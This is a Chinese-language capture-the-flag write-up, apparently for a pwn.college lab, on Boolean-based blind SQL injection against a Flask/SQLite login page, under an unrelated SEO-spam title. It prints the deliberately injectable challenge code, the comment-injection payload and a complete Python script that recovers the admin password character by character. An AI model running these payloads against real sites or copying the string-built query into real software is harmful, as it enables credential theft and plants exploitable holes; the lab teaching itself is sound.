广告设计与制作的公司seo关键词排名系统
在这个场景中，我们需要利用SQL注入漏洞来泄露flag，但是应用程序并不会直接返回查询结果。相反，我们需要根据应用程序的行为差异（登录成功与否）来推断查询结果。这就是所谓的"布尔盲注"（Boolean-based Blind SQL Injection）。
我们可以通过构造一系列的"是/否"问题，并根据应用程序的响应来逐位获取flag。
服务器的处理逻辑如下所示：
#!/opt/pwn.college/pythonimport tempfile
import sqlite3
import flask
import osapp = flask.Flask(__name__)class TemporaryDB:def __init__(self):self.db_file = tempfile.NamedTemporaryFile("x", suffix=".db")def execute(self, sql, parameters=()):connection = sqlite3.connect(self.db_file.name)connection.row_factory = sqlite3.Rowcursor = connection.cursor()result = cursor.execute(sql, parameters)connection.commit()return resultdb = TemporaryDB()
# https://www.sqlite.org/lang_createtable.html
db.execute("""CREATE TABLE users AS SELECT "admin" AS username, ? as password""", [open("/flag").read()])
# https://www.sqlite.org/lang_insert.html
db.execute("""INSERT INTO users SELECT "guest" as username, "password" as password""")@app.route("/", methods=["POST"])
def challenge_post():username = flask.request.form.get("username")password = flask.request.form.get("password")if not username:flask.abort(400, "Missing `username` form parameter")if not password:flask.abort(400, "Missing `password` form parameter")try:# https://www.sqlite.org/lang_select.htmlquery = f'SELECT rowid, * FROM users WHERE username = "{username}" AND password = "{password}"'print(f"DEBUG: {query=}")user = db.execute(query).fetchone()except sqlite3.Error as e:flask.abort(500, f"Query: {query}\nError: {e}")if not user:flask.abort(403, "Invalid username or password")flask.session["user"] = usernamereturn flask.redirect(flask.request.path)@app.route("/", methods=["GET"])
def challenge_get():if not (username := flask.session.get("user", None)):page = "<html><body>Welcome to the login service! Please log in as admin to get the flag."else:page = f"<html><body>Hello, {username}!"return page + """<hr><form method=post>User:<input type=text name=username>Pass:<input type=text name=password><input type=submit value=Submit></form></body></html>"""app.secret_key = os.urandom(8)
port = 8080 if os.geteuid() else 80
app.config['SERVER_NAME'] = f"challenge.localhost:{port}"
app.run("challenge.localhost", port)这里我们需要构造合适的payload:
admin"---- 注释掉查询的剩余部分
整个查询会变成：
SELECT rowid, * FROM users WHERE username = "admin"--" AND password = "anything"进一步得到
SELECT rowid, * FROM users WHERE username = "admin" AND substr((SELECT password FROM users WHERE username="admin"), 1, 1) = "a"--" AND password = "anything"构造脚本逐字符猜测
import requests
import stringurl = "http://challenge.localhost:8080"
flag = ""
charset = string.printable.strip()def check(payload):response = requests.post(url, data={"username": payload, "password": "anything"}, allow_redirects=False)return response.status_code == 302# 获取flag长度
for i in range(1, 100):payload = f'admin" AND length((SELECT password FROM users WHERE username="admin")) = {i}--'if check(payload):print(f"Flag length: {i}")flag_length = ibreak# 获取flag内容
for i in range(1, flag_length + 1):for char in charset:payload = f'admin" AND substr((SELECT password FROM users WHERE username="admin"), {i}, 1) = "{char}"--'if check(payload):flag += charprint(f"Current flag: {flag}")breakprint(f"Final flag: {flag}")